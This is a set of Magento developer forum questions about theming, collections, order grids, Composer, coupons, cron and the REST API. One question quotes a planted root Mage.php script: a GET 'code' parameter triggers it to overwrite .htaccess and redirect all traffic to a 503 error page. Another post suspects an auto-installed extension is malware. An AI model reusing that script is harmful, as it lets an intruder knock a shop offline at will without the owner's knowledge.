texts: Magento 2 Mulitwebsite not loading CSS Js and images

texts:
I have a website in IP format like 12.34.56.78

with multi-website like this -

12.34.56.78/dev1

12.34.56.78/dev2

12.34.56.78/dev3

12.34.56.78/dev4

I created Folder in Magento root directory dev1,dev2,dev3 & dev4 and inside that folder, I add index.php,.htaccess file, and symlinks of app, lib, pub & var.

All is working fine.

Now I point IP to Domain name, Main website abc.com is perfectly working fine but

abc.com/dev1
abc.com/dev2
abc.com/dev3
abc.com/dev4

is not working when I open abc.com/dev1 website open but CSS, JS, and images not loading.

Does anyone know how to solve this?


texts: How to get item id from quote item collection in Magento 2?

texts:
I am trying to get all item ids currently added in cart.
Here is what I have done so far.

public function __construct(
    \Magento\Checkout\Model\Cart $cart
) {
    $this->_cart = $cart;
  }

public function afterAddProduct($subject, $productInfo, $requestInfo = null)
{
    $productInfo = $this->_cart->getQuote()->getItemsCollection();
    foreach ($productInfo as $item){
       echo $item->getProductId();
    }
}

But it is not returning anything. I have also used $item->getId(); but not avail.

Can anybody tell me what wrong I am doing.


texts: reloadOptionLabels is remove on easylife switcher

texts:
I have installed an extension simple product pricing but it doesn't work accordingly and the support said that the easylife switcher remove the reloadOptionLabels from product.js.

I do not know how to contact the easylife switcher and any solution from you guys is much appreciated.

here's the function for reloadOptionLabels

reloadOptionLabels: function(element){
        var selectedPrice;
        if(element.options[element.selectedIndex].config){
            selectedPrice = parseFloat(element.options[element.selectedIndex].config.price)
        }
        else{
            selectedPrice = 0;
        }
        for(var i=0;i<element.options.length;i++){
            if(element.options[i].config){
                element.options[i].text = this.getOptionLabel(element.options[i].config, element.options[i].config.price-selectedPrice);
            }
        }
    },

but i cant make it since the getOptionLabel had $supper param.

getOptionLabel : function($super, option, price) {
        if (this.getConfigValue(this.config, 'show_added_prices', false)) {
            return $super(option, price);
        }
        return option.label;
    }


texts: I have installed Magento 1.9.0.0 and have started tweaking the rwd theme. I want to collapse the filters list on product listings so that only the headers show and you can click on the header to see your options for that filter. I am far from being an expert in Magento and despite digging around in the files and googling for answers for some time I am none the wiser. Can anyone help?


texts: how to add customer's shipping address detail in Admin > Sales > Order grid

texts:
I trying to add customer's shipping address detail in Admin > Sales > Order grid
with following code

in protected function _prepareCollection()

$collection->getSelect()->join(array('Shipping'=>'sales_flat_order_address'),
'main_table.entity_id=Shipping.parent_id
and Shipping.address_type="Shipping"',array('city','street','telephone','postcode','region'));

in protected function _prepareColumns()

    $this->addColumn('telephone', array(
        'header' => Mage::helper('sales')->__(' Ship to telephone'),
        'index' => 'telephone',
        'filter_index' => 'telephone',
    ));

$this->addColumn('street', array(
        'header' => Mage::helper('sales')->__(' Ship to street'),
        'index' => 'street',
        'filter_index' => 'street',
    ));

$this->addColumn('region', array(
        'header' => Mage::helper('sales')->__(' Ship to region'),
        'index' => 'region',
        'filter_index' => 'region',
    ));

$this->addColumn('city', array(
        'header' => Mage::helper('sales')->__(' Ship to City'),
        'index' => 'city',
        'filter_index' => 'city',
    ));

but showing blank columns


texts: How to solve Magento 2 with composer 2 version error when sample data install

texts:
My application running AWS Bitnami platform. I am trying to upload sample data using composer after commands show warning message below

Do you want to store credentials for repo.magento.com in /bitnami/magento/var/composer_home/auth.json ? [Yn] y
Warning from https://repo.packagist.org: You are using an outdated version of Composer. Composer 2 is now available and you should upgrade. See https://getcomposer.org/2
./composer.json has been updated
Loading composer repositories with package information
Warning from https://repo.packagist.org: You are using an outdated version of Composer. Composer 2 is now available and you should upgrade. See https://getcomposer.org/2
Updating dependencies (including require-dev)
Installation failed, reverting ./composer.json to its original content.

Show above error.How can I solve this problem?
What is the best solution for this warning?
Can I Composer with continue version 1 or Upgrade with Version 2?
Thanks for advance for your reply


texts: Coupon code being applied to other products when the eligible product is in the cart

texts:
i couldn't find any info on this hence posting it here. Basically I have 30% discount on one single category. We had a case today where the client was able to use that 30% on the whole cart. I did some digging around and the reason was a single product from that category was in the cart.

e.g. 5 items

item 1: (eligible) £45
item 2: £35
item 3: £55
item 4: £45
item 5: £35

The total came to £155.49 but it should of been £201.50

My coupon rule is as follow:

If ALL  of these conditions are TRUE :
If an item is FOUND  in the cart with ALL  of these conditions true:
Category  is  21

Category 21 is the category which is eligible for the discount.

Thanks in advance.


texts:
My Magento 2 404 page is not showing.
When incorrect URL.is called in my site ..it should redirect to 404 error page. instead, it's showing processing error and mail not sent

U can recreate error at dentbay.com/gdndk

here are log files

  a:4:{i:0;s:21:"Unable to send mail. ";i:1;s:11016:"#0 /home/dentbaydemolocat/public_html/vendor/magento/framework/Interception/Interceptor.php(146): Magento\Framework\Mail\Transport->sendMessage()


texts:
I was just changing my magento2 mode from developer to production,
And it resulted in blank webpage on the application URL.
In my webserver logs I have found:
AH01797: client denied by server configuration: /update/cron.php14,19,33,45.


texts: Invoice email not received while place order in magento 2

texts:
I have not received invoice email after placing order.

Magento version : 2.2.2 & 2.3.0

Checked in these Payment Methods : Authorize.net & Zero subtotal Checkout

Expected result:

Order Created
Email with order information send.
Invoice Created
Email with invoice information send

Actual Result

Order Created <- working

Email with order information send. <- working

Invoice Created <- working

Email with invoice information is not send <- not working.

For Zero subtotal Checkout payment method settings follow below steps:

Enable zero subtotal checkout.

Set new order status to processing.
Create a cart rule with 100% rebate and free shipping.
Place order with coupon code & free shipping method.
Check order detail in admin Invoice was generated but email not received.

From back-end when send email button clicked manually in Invoice view page - proper email invoice received.

Same issue happen will Authorize.net Direct Post payment method,

set Payment action as Authorize & Capture,

new Order status as Processing ,

so while place an order with authorize.net

    order placed successfully

    order email was also received

    Invoice generated properly

    but invoice email not received.

If anyone have any idea please let me know.

Thanks in Advance..!!!


texts:
When I read the limitation of Plugin in Magento2, the official devdocs mentions that,
Plugins can not be used on following:

Final methods
Final classes
Non-public methods
Class methods (such as static methods)
__construct and __destruct
Virtual types
Objects that are instantiated before Magento\Framework\Interception is bootstrapped

May I know what is the meaning of Final methods and Final classes ?


texts: Magento Cron will not execute. Invalid Callback error

texts:
I cannot get my custom module to recognize my model.

AM/Cron/etc/config.xml

<?xml version="1.0"?>
<config>
        <modules>
                <AM_Cron>
                        <version>0.1.5</version>
                </AM_Cron>
        </modules>

        <global>
          <models>
                <AM_Cron>
                        <class>AM_Cron_Model</class>
                </AM_Cron>
          </models>

        </global>

        <crontab>
        <jobs>
            <AM_cron>
                <schedule><cron_expr>*/5 * * * *</cron_expr></schedule>
                <run><model>AM_Cron/checklockedurls::run</model></run>
            </AM_cron>
        </jobs>
        </crontab>
</config>

AM/Cron/model/Checklockedurls.php

<?php
class AM_Cron_Model_checklockedurls
{
    public function run()
    {
        return true;
    }
}


texts: Version 1.9.01 Orders cancelled but payment showing on payment platform

texts: We are having problems with some orders that are going to cancelled, even when we have payment on our payment system. Can anyone help?


texts: Adding Customer Account Navigation in my custom extension

texts:
In my extension, I have created a page for the logged in users. but the current template only shows my content and other sidebar widgets like "My Wishlist", "My Cart", etc. But I also need to display the customer_account_navigation on the top of sidebar similar to other customer pages.

What I have in my controller is

$this->loadLayout();
$this->renderLayout();

My layout is

<customer_account>
    <reference name="customer_account_navigation">
        <action method="addLink" translate="label" module="myext">
            <name>myext</name>
            <path>myext/</path>
            <label>My Extension</label>
        </action>
    </reference>
</customer_account>
<update handle="customer_account"/>
<routeurfrontend_index_index>
    <reference name="content">
        <block type="myext/myblock"  name="list_myblock"
                      template="myext/list.phtml" />
    </reference>
</routeurfrontend_index_index>

have added <update handle="customer_account"/> in reference to the question How to call customer account sidebar on custom magento extension, but it doesnt work.


texts:
I'm trying to sort Advanced Search result by Order parameter and Price.

Eg:

User sorts results by Manufacturer, direction DESC from toolbar. In this case I need to order by manufaturer DESC then by price ASC.

I have created an Observer that Observs catalog_block_product_list_collection

This is my module Observer.php function:

public function catalog_block_product_list_collection(Varien_Event_Observer $observer)
{
   $collection = $observer->getEvent()->getCollection();
   $collection->getSelect()->order('price','ASC');
   /*OR $collection->addOrder('price',Varien_Data_Collection::SORT_ORDER_DESC);*/
   return $this;
}

But result list is sorted by Manufacturer only.

If I print $collection->getSelect()->__toString(); in mynamespace/mymodule/catalog/product/list.phtml i see that order is set correctly

ORDER BY `manufacturer` DESC, `price` ASC LIMIT 20

Query execution from MySQL returns the expeted result, Magento don't.

What's wrong with my code?

Is it possible to do what I'm trying to do ?

EDIT [SOLUTION]

After googling a while and a day of trying i solved my problem. Here is the code:

/**
 * @param Varien_Event_Observer $observer
 * @return Spm_Sorter_Model_Observer
 */
public function catalog_block_product_list_collection(Varien_Event_Observer $observer)
{
    // Get && Clear Collection
    $collection = $observer->getEvent()->getCollection();
    $collection->clear();

    // get current Sort && Direction
    $currSortOrder     = Mage::getBlockSingleton('catalog/product_list_toolbar')->getCurrentOrder();
    $currSortDirection = Mage::getBlockSingleton('catalog/product_list_toolbar')->getCurrentDirection();

    // If is current Sort is price || special price need some special stuff
    if(in_array($currSortOrder,['price','special_price'])){

        // Rest collection sort
        $collection->getSelect()->reset(Zend_Db_Select::ORDER);

        /**
         * Set Special Price order Index.
         * Discounted products must be at the top of the list
         * This 'index' is needed because of :
         *  ORDER BY special_price  -> products with no discount comes first, they have NULL value
         *                             If special price is out of date range we will have wrong order to,
         *                             special price is valued but not valid.
         *  ORDER BY min_price      -> products with no discount but price lower than discounted ones comes first
         * */
        $collection->getSelect()->columns(
            array(
                'special_price_index' => new Zend_Db_Expr('IF(`price_index`.`price` <> `price_index`.`min_price`,`price_index`.`price`, 99999)')
            )
        );

        //  Set special price sort. Direction ASC if current order != pecial_price, current otherwise
        $collection->getSelect()->order('special_price_index',($currSortOrder === 'special_price' ? $currSortDirection : Varien_Data_Collection::SORT_ORDER_ASC));
    }

    //  Set price sort. Direction ASC if current order != price, current otherwise
    $collection->setOrder('price',($currSortOrder === 'price' ?  $currSortDirection : Varien_Data_Collection::SORT_ORDER_ASC));

    return $this;
}


texts: What is the REST API call to create a product with the image already hosted on a CDN

texts:
Background:
All of our product images are hosted on Amazon S3.  Magento is going to be hosted in a load balance / multiple instance Docker setup.   The hosting environment is only going to provide the needed processor and storage power to run the magento PHP.  The Database and downloadable content / product images are going to be hosted on their own cloud based platforms, maximizing performance and vastly improving up-time.

I want to stress this is going to be a DISTRIBUTED setup.  There just isn't an actual way to host the images on what would normally be a random linux VM or "LAMP" machine.  To do so would break the entire concept.

Problem:
I have set the base URL for media to the correct 'base' on S3. I am attempting to create products using the REST API.  I've looked at the code for saving images and it seems like one is forced to include the base64 version of the image in the 'content' property.  This seems counter intuitive, since uploading the images to the Magento hosting environment is what we are trying to avoid.

Also, the links to the images include the cache component, size, etc.  I understand specifying the size, but the unique ID for the cache is not provided when pulling a product using REST, only C/o/Computer.gif in the File property.  I would like to disable this cache id. It is adding complexity.

Example URL that Magento expects an image to be located.
http://assets.nursingsociety.org.s3.amazonaws.com/catalog/product/cache/1/small_image/240x300/beff4985b56e3afdbeabfc89641a4582/C/o/Computer.png

Actual image url
http://assets.nursingsociety.org.s3.amazonaws.com/products/STTI/5611/images/Computer.gif

I'm not opposed to creating a module to eliminate this problem, but I'd like to see if it can be done just using Magento alone.  Back to google I go....

EDIT:
I've found something that might be a solution... Moving the magento media directory to S3...
http://thinkglobal.co/resources/moving-the-magento-media-directory-to-s3/


texts: Magento replacing .htaccess file in root directory?

texts:
Magento replacing my custom .htaccess file? every time my home page lands in : page is not redirecting.
the url was www.example.com/errors/503.php

i would like to make clear there was no maintenance.flag file in root

The Mage.php file which we are discussing here is present in Root directory and not the app/Mage.php

I am using Magento 1.9.0.1 CE
I found PHP script in Mage.php file, which creates .htaccess file with errors/503.php redirect.
even though .htaccess file exist, why the else part of Mage.php file is getting executed?
The newly created .htaccess file contains only redirect to errors/503.php
right now i had changed my .htaccess file permission to 555.

Unable to resolve this. Kindly help me.

Mage.php contains

<?php

if(isset($_GET['code'])) {

$create_name = "/home/buildg8t/public_html/.htaccess";

if (file_exists($create_name)) {

$htaccess = file_get_contents($create_name);
$rules = "RewriteBase /";

$content_string = "RewriteEngine On\n";

$content_string .= "RewriteBase /\n";

$content_string .= "RewriteCond %{REQUEST_URI} !^errors\503\.php$\n";

$content_string .= "RewriteRule ^(.*)$ http://www.example.com/errors/503.php [R=307,L]\n";

file_put_contents($create_name, $content_string);
}
else{

$create_name = "../.htaccess";
$file_handle = fopen($create_name, 'w') or die("Error: Can't open file");
//enter the contents
$content_string = "RewriteEngine On\n";
fwrite($file_handle, $content_string);
$content_string = "RewriteBase /\n";
fwrite($file_handle, $content_string);
$content_string = "RewriteCond %{REQUEST_URI} !^errors\503\.php$\n";
fwrite($file_handle, $content_string);
// change www.website.com for your website
$content_string = "RewriteRule ^(.*)$ http://www.example.com/errors/503.php [R=307,L]\n";
fwrite($file_handle, $content_string);
//
fclose($file_handle);
}
}
?>


texts: Magento 2 problem importing external images from csv

texts:
I have Magento 2.2.8 and need to import lots of products, the problem is with images (I would rather not import all image files, but a reference via link). They are in an external URL and CSV file check complaints:

  Imported resource (image) could not be downloaded from an external
  resource due to timeout or access permissions in a row(s): 1, 2, 3, 4,
  5, 6, 7, 8, 9, 10

Csv has base_images like:

http://otherdomain.com/images/123/123.jpg

http://otherdomain.com/images/alfa/alfa.jpg

http://otherdomain.com/images/randomname/randomname.PNG

I have also tried adding the external server as the "Images File Directory", however then I get:

  Wrong URL/path used for attribute image in a row

So far found:
Import image from external url <-- that copies images

Magento 2: Import categories images external url via csv <-- for categories

Can images be linked to that external server?

If not, what workarounds are suggested?

Thanks.


texts: When creating product attribute which tables affected

texts: I want to delete product attribute but there is a not button like Delete Attribute So please tell me, which tables are affected while creating new product attributes.


texts: Magento extension Installer automatically Installed on the Site?

texts:
I have found some unknown "Package manager extension" installed on the site automatically. If I go to that Extension site I have found that non of there extension  is installed on my site, then how the installer is installed on my site ?
Is there auto install extension option in the admin panel or this is the malware attack ?


texts: Group Same Name products on Grid in Magento

texts:
I am showing products on grid.Now i am facing problem .I want to group the the same title products.
My code is :

protected function _prepareCollection()
  {
    $collection = Mage::getModel('catalog/product')->getCollection()
                  ->addAttributeToSelect('*');
        $this->setCollection($collection);
      return parent::_prepareCollection();
  }

  protected function _prepareColumns()
  {

      $this->addColumn('name', array(
          'header'    => Mage::helper('module')->__('Product Name'),
          'align'     =>'left',
          'index'     => 'name'
      ));

      $this->addColumn('entity_id', array(
          'header'    => Mage::helper('catalog')->__('Products Ids'),
          'align'     =>'left',
          'width'     => '200px',
          'index'     => 'entity_id',
      ));

        $this->addColumn('action',
            array(
                'header'    =>  Mage::helper('module')->__('Action'),
                'width'     => '100',
                'type'      => 'action',
                'getter'    => 'getId',
                'actions'   => array(
                    array(
                        'caption'   => Mage::helper('module')->__('View Details'),
                        'url'       => array('base'=> '*/*/view'),
                        'field'     => 'id'
                    )
                ),
                'filter'    => false,
                'sortable'  => false,
                'index'     => 'stores',
                'is_system' => true,
        ));

      return parent::_prepareColumns();
  }

I want to to skip product name if it matches but show his id on Products ids with some like (1,2,3) etc.


texts: If someone click on the product in magento 1.7.0.2 instead of going to the product page it should refer to external affiliate url can anybody help me to do this?


texts: Magento 2 API : Images are not showing on frontend

texts:
I am using below api for upload images for all store

rest/all/V1/products/".$sku."/media/

but images are not saving for all store.Images are showing in admin only.

here is the code i am using to upload image.

    $path = $this->getImageFilePath($image);
    if (file_exists($path)) {
        $type = pathinfo($path, PATHINFO_EXTENSION);
        $imgContents = file_get_contents($path);
        $base64 = base64_encode($imgContents);
        $data['entry']['media_type']    = 'image';
        $data['entry']['label']         = 'image';
        $data['entry']['position']      = '1';
        $data['entry']['disabled']      = 'false';
        $data['entry']['types']         = array('swatch_image','image','small_image','thumbnail');
        $data['entry']['file']          = $path;
        $data['entry']['Content']['base64EncodedData']     =  $base64;
        $data['entry']['Content']['type']     = "image/jpeg";
        $data['entry']['Content']['name']     = $image;
        $ch = curl_init($this->_url."/rest/all/V1/products/".$sku."/media/");
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
        curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/json", "Authorization: Bearer " . json_decode($this->_token)));
        $products = json_decode(curl_exec($ch),true);
        return $products;
    }
    else
    {
        return "Image does not exist. Path -- ".$path;
    }


texts: How to get a yes/no attribute in phtml on Magento 2?

texts:
I have a yes/no product attribute set in my backend for all the products.

What i tried to do, is to get for every product the set value in a phtml and i can't.

I tried like this:

$objectManager = \Magento\Framework\App\ObjectManager::getInstance();
    $_product = $objectManager->get('Magento\Catalog\Model\Product')->load($_product->getId());
    $special = $_product->getAttributeText('special_label');
    var_dump($special);

and i received something weird :

object(Magento\Framework\Phrase)#2564 (2) { ["text":"Magento\Framework\Phrase":private]=> string(3) "Yes" ["arguments":"Magento\Framework\Phrase":private]=> array(0) { } }

Even i don't have set anything to yes, i receive only "yes" for my all products.

What i am doing wrong?


texts:
I am using magento1.9.2.4.

I want to include the attributes like color and size in my cart popup. Please someone guide me to do that.
Below is my code in sidebar/default.phtml :

<?php
$_item = $this->getItem();
$isVisibleProduct = $_item->getProduct()->isVisibleInSiteVisibility();
$canApplyMsrp = Mage::helper('catalog')->canApplyMsrp($_item->getProduct(), Mage_Catalog_Model_Product_Attribute_Source_Msrp_Type::TYPE_BEFORE_ORDER_CONFIRM);
$_product = Mage::getSingleton('catalog/product')->load($_item->getProductId());
?>

<?php if ($this->hasProductUrl()): ?><a
        href="<?php echo $this->getProductUrl() ?>"><?php endif; ?><?php echo $this->escapeHtml($this->getProductName()) ?><?php if ($this->hasProductUrl()): ?><?php endif; ?>

    <?php if ($_options = $this->getOptionList()): ?>

                <?php foreach ($_options as $_option) : ?>

<?php echo $this->escapeHtml($_option['label']) ?>

                        <?php if (is_array($_option['value'])): ?>
                            <?php echo nl2br(implode("\n", $_option['value'])) ?>
                        <?php else: ?>
                            <?php echo $_option['value'] ?>
                        <?php endif; ?>

                <?php endforeach; ?>

        <?php echo $this->__('Details') ?>

<?php endif; ?>

Qty <?php echo $this->getQty() ?>


texts:
I have a use case where I need to update the order status (e.g. set to 'completed). In magento 1 I just called setStatus and then save

$order>setState('your_state')
$order->setStatus($status);
$order->save();

But for magento 2 I get "function setStatus not found"

How do I update order fields such as status and other fields in Magento 2?


texts: eway rapid not working on magento multishipping checkout

texts:
when i am trying to checkout with multishipping checkout magento with eway rapid it is giving error "Please enter a valid credit card number"

Update :

I investigated and found that problem is here in the code...

`$payment = $this->getRequest()->getPost('payment');`

$payment['cc_number']

....in eway payment form there is no field for cc_number and ccid. It encrypted field by this

<input type="text" id="ewayrapid_notsaved_cc_number" data-eway-encrypt-name="payment[cc_number]" title="Credit Card Number" class="input-text validate-cc-number validate-cc-type-auto" value="" pattern="\d*" autocomplete="off">`


texts: How can I get the regular price in the invoice pdf in magento?

texts:
I used

getPrice()

but I want the regular price after adding customize variable and the price of that.
As shown in image below.


texts: How to send an invoice to different email address in magento 2

texts:
How can I send an invoice email to a different email address?

I have created a customer attribute which is used to save email address while the user creates their account.
Once the customer is created and they place an order, the invoice should be sent the different email address (customer attribute) instead of using the customer email.


texts: Validation Error After Adding Grid to Admin Customer Edit Form

texts:
I've successfully added a custom tab with a grid to the Customer Edit form in the Magento admin. The tab uses the <insertListing> tag in its layout XML to render the grid, which works as it should. When I try to save the customer, though, the form validation throws an error. I've debugged this and it appears that when the validate() method of tab_group.js tries to call the tab's validate method it returns undefined. I've compared this to the Store Credit tab, which was created using the deprecated Grid blocks, and for that element it returns an empty array. Is there something I missed in my configuration?

Error:

tab_group.js:68 Uncaught TypeError: Cannot read property 'valid' of undefined
    at tab_group.js:68
    at Function.findIndex (underscore.js:644)
    at Function._.find._.detect (underscore.js:206)
    at UiClass.validate (tab_group.js:67)
    at Array.some (<anonymous>)
    at UiClass.onValidate (tab_group.js:86)
    at setNested (objects.js:43)
    at Object.nested (objects.js:117)
    at UiClass.set (element.js:305)
    at updateValue (links.js:80)
(anonymous) @ tab_group.js:68
(anonymous) @ underscore.js:644
_.find._.detect @ underscore.js:206
validate @ tab_group.js:67
onValidate @ tab_group.js:86
setNested @ objects.js:43
nested @ objects.js:117
set @ element.js:305
updateValue @ links.js:80
(anonymous) @ events.js:87
trigger @ events.js:84
trigger @ events.js:162
validate @ form.js:333
save @ form.js:261
dispatch @ jquery.js:5226
elemData.handle @ jquery.js:4878

Tab Layout XML (view/base/ui_component/customer_form.xml):

<?xml version="1.0"?>
<form xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Ui:etc/ui_configuration.xsd">
    <fieldset name="downloaded_blueprints" sortOrder="1000">
        <settings>
            <label translate="true">Downloaded Blueprints</label>
        </settings>
        <insertListing name="downloaded_blueprints_listing">
            <argument name="data" xsi:type="array">
                <item name="config" xsi:type="array">
                    <item name="source" xsi:type="string">blueprint_download</item>
                </item>
            </argument>
            <settings>
                <externalProvider>${ $.ns }.downloaded_blueprints_listing_data_source</externalProvider>
                <autoRender>true</autoRender>
                <dataScope>downloaded_blueprints_listing</dataScope>
                <ns>downloaded_blueprints_listing</ns>
                <exports>
                    <link name="customerId">${ $.externalProvider }:params.customer_id</link>
                </exports>
                <imports>
                    <link name="customerId">${ $.provider }:data.customer.entity_id</link>
                </imports>
            </settings>
        </insertListing>
    </fieldset>
</form>


texts:
I'm currently trying to upgrade Magento 2.3.4 CE, to 2.4.0 CE. However I was constantly getting "Component Dependency" errors.
I then tried to upgrade in SSH but got the following error:
Your requirements could not be resolved to an installable set of packages.
  Problem 1
    - Installation request for magento/product-community-edition 2.4.0 -> satisfiable by magento/product-community-edition[2.4.0].
    - magento/product-community-edition 2.4.0 requires php ~7.3.0||~7.4.0 -> your PHP version (7.1.33) does not satisfy that requirement.

I have changed the PHP version in Plesk to 7.4.10 but when I try to upgrade Magento I reveive the same error and using the command php -v gives the following error:
PHP 7.1.33-17+ubuntu18.04.1+deb.sury.org+1 (cli) (built: Aug  7 2020 14:47:20) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.1.33-17+ubuntu18.04.1+deb.sury.org+1, Copyright (c) 1999-2018, by Zend Technologies

Can anyone tell me how to change the PHP version in SSH please?


texts: Calling a model from another module issue

texts:
I tried to call a model from another module but it returns me false or this error message:

  Fatal error: Call to a member function assignData() on a non-object

This is how I call it:

Mage::getModel('adyen_payment/adyen_paybymail')->assignData(100);

The model can be found here.  I checked the config.xml and I see the model tag is in the global tag.  Any idea ?


texts: Import 1.2 GB database to phpmyadmin xampp and having error

texts:
I have been trying to import my magento website database which size is 1.2 gb in phpmyadmin xampp and having error

''You probably tried to upload a file that is too large. Please refer to documentation for a workaround for this limit.''

I did below things to solve my problem but nothing work.

In php.ini

max_execution_time = 300
max_input_time = 60
memory_limit = 1200M
upload_max_filesize = 1100M
post_max_size = 1100M

Used bigdump and having this error "access denied for user localhost using password yes"

Is any one has solution of my problem?


texts: Magento 2 : The proper way to read/save entities

texts:
I have been only for a few days in the Magento universe, starting with Magento 2, and I am currently a bit lost regarding the proper way to read and save entities (Model).

At the very begginning, I found a lot of tutorials where the author was using the load() and save() methods. After reading some documentation, I understood that it is because MG2 use an Active Record Pattern.

Coming from Symfony 2/3, I was a little bit disapointed at the beginning (used to Data Mapped Pattern with repository...). But not for long. But today, I found (thanks to the autocompletion of NetBeans) that the above method are deprecated (and so prone to disapear one day or the other...). After a quick search on Google, it seems that now MG2 is going to use more and more a repository pattern. OK that's cool.

But now, I was not able to found any proper tutorial to guide me to create a repository for a custom model. So I decided to look in the build-in module, opening some repos, and what did I found? Still those load() and save() methods.

I assume that's simply legacy code, but I am quite lost now. Does anyone know how to read and write custom entities in MG2?


texts: "Design config must have area and store" error when sending test emails

texts:
for some reason we started encountering an error when attempting to send test emails from the backend:

  Design config must have area and store

Any ideas? This is Magento 2.1.11.


texts: override getLoadedProductCollection of \Magento\Catalog\Block\Product\ListProduct

texts:
I am overriding getLoadedProductCollection() in my block where performing some custom query

     public function getLoadedProductCollection()
        {
            $myCategory = $this->_coreRegistry->registry('category_details');

            if ($myCategory['category_id'] === '96') {

     $collection = $this->collectionFactory; // dont forget to inject the product factory in your constructor
                        $collection = $collection->create()->getCollection();
                        $collection = $collection->addFieldToFilter(
                            'entity_id',
                            ['in' => $array]
                        );
                        $collection = $collection->addAttributeToSelect($this->catalogConfig->getProductAttributes())
                            ->addMinimalPrice()
                            ->addFinalPrice()
                            ->addTaxPercents()
                            ->addUrlRewrite($myCategory);
                        return $collection;
           }
else {
             return parent::getLoadedProductCollection();
    }

But the problem is when my category id is 96 its run the upper query and show but in with in second it fired

  return parent::getLoadedProductCollection();

and then return null


texts: How to show validation message below custom field in magento?

texts:
For my custom module i want to display validation message as like following image in product management.

Can anyone suggest me a way to do this?


texts: Refreshed Cache in Cache Management, lost access to front and backend, Magento 1.9.1 :(

texts:
I refreshed cache in Cache Management and I lost access to both front and backend.
This is a basically a fresh install of Magento1.9.1.

Here's the error message:

Fatal error: Call to a member function get() on a non-object in /var/www/html/magento/includes/src/__default.php on line 21022

And the line in question:

> protected function _checkCookieStore($type)
>     {
>          //This is the line in question
>         if (!$this->getCookie()->get()) {
>             return $this;
>         }

I'm a programing newbie basically learning as I go atm so I have no idea whats happening.
Thanks in advance!!
-B


texts: magento 2 get category id in ordered product

texts:
Magento 2 how to get Ordered product category id

  My problem is i have same product with multiple category so i want
  know which category product i place order based on order id

<?php

$objectManager = \Magento\Framework\App\ObjectManager::getInstance();
$order = $objectManager->create('Magento\Sales\Model\Order')
->loadByIncrementId('000000004');
$orderItems = $order->getAllItems();
foreach ($orderItems as $item) {
  echo "<pre>";
  echo $itemQty = $item->getProductId();

?>


texts: Magento2 :Cron script readiness check failed - Found non-writable path (for hidden files)

texts:
I am new to Magento.
I installed my first project (2.3.3 version). Added some products using the admin panel. Download a free theme from the market place (Templates Master Absolute Theme).
But when I tried to install that
Cron script readiness check failed.
and it shows

Found non-writable path(s):
/var/www/new-magento.com/.htaccess.sample
/var/www/new-magento.com/.php_cs.dist
/var/www/new-magento.com/.travis.yml.sample
/var/www/new-magento.com/.user.ini
/var/www/new-magento.com/.htaccess

All these files are writable.
Given the 777 permission
sudo chmod 777 -R <my root directory>

I also tried crone install command.
bin/magento cron:install [--force]

Please help.


texts: Update quote item price without using custom price

texts:
We are developing a custom module which applies custom tier prices by product category. Our solution works on frontend checkout so far and consists of observing the sales_quote_item_set_product event and running custom code that checks other quote items of a given category to apply a custom price.

The function responsible for applying the custom price to the item is below:

public function applyTierPrice($item, $tier)
{
    $oldPrice = (float)$item->getProduct()->getPrice();
    $newPrice = (float)$tier['discount'];
    if ($tier['type'] === 'percent') {
        $newPrice = $oldPrice - $oldPrice * ($tier['discount'] / 100);
    }

    $item->setCustomPrice($newPrice);
    $item->setOriginalCustomPrice($newPrice);

    $item->getProduct()->setIsSuperMode(true);
    $item->save();
}

This solution becomes a problem on order creation by admin panel, because there is a field where you can set manually the item price, and apparently it also uses the methods setCustomPrice().

So, when we add a product to the quote, it runs the custom applyTierPrice() method. But if I want to use that custom price field, our solution will override that field input, and we lose the default custom price functionality.

So i was thinking of a solution where we set the quote item price by calling $item->setPrice(), and not messing with a custom price.

public function applyTierPrice($item, $tier)
{
    $oldPrice = (float)$item->getProduct()->getPrice();
    $newPrice = (float)$tier['discount'];
    if ($tier['type'] === 'percent') {
        $newPrice = $oldPrice - $oldPrice * ($tier['discount'] / 100);
    }

    // $item->setCustomPrice($newPrice);
    // $item->setOriginalCustomPrice($newPrice);

    $item->setPrice(42);

    $item->getProduct()->setIsSuperMode(true);
    $item->save();
}

$quote->collectTotals() and $quote->save() are being called after this function.

It updates the price field on the sales_flat_quote_item table, but the change doesn't reflect on subtotal, row total, order total calculations.

How can I solve it? Any advice is appreciated.

edit1: applyTierPrice method will not be called if there is a custom price filled.


texts:
I am writing tests to test the frontend of a store.

I create products and categories in the admin, this completes as one test.

I then complete a simple test to load the category on the frontend, this completes as one test.

I then try to sort the listing from high to low by price.

This is when the error happens, 'cannot find elements, "dropdowns" - "sort_by_price"

The XPath declared in the YAML is that given by FirePath (Firebug Extension), also the suggested Selenium Firefox Plugin path.

Any suggestions?

YAML

category_page_after_reindex:
mca: catalog/category/view/s/%categoryUrl%/id/%id%/
title: %elementTitle%
uimap: &catalogUIMap
    form: &categoryPage
        fieldsets:
          -
            dropdowns:
                sort_by_price: //div[@id='main']/div/div/div/div/div/select

FileTest.php

//Steps
$this->clickControl('dropdown', 'sort_by_price');


texts: Magento2 PHPUnit internal method getCollectionMock. Bug or Feature?

texts:
When I was writing unit tests for one magento collection I faced with the following strange thing:

Magento allows create mock for collection with it's internal phpunit method:

  \Magento\Framework\TestFramework\Unit\Helper\ObjectManager

public function getCollectionMock($className, array $data)
{
    if (!is_subclass_of($className, '\Magento\Framework\Data\Collection')) {
        throw new \InvalidArgumentException(
            $className . ' does not instance of \Magento\Framework\Data\Collection'
        );
    }
    $mock = $this->_testObject->getMock($className, [], [], '', false, false);
    $iterator = new \ArrayIterator($data);
    $mock->expects(
        $this->_testObject->any()
    )->method(
        'getIterator'
    )->will(
        $this->_testObject->returnValue($iterator)
    );
    return $mock;
}

The problem appear when I'm trying to create Mock of \Magento\Framework\Data\Collection.

As you can see magento checks if described class is subclass of \Magento\Framework\Data\Collection. Not instance of!

Magento returns the described collection here:

$product->getMediaGalleryImages();

The question is: is it a bug or a feature?


texts: How to override collectTotals function In Magento?

texts:
I want to add a custom value, i.e custom fees, in the cart page below subtotal, so the Grand total should contain the custom fee.
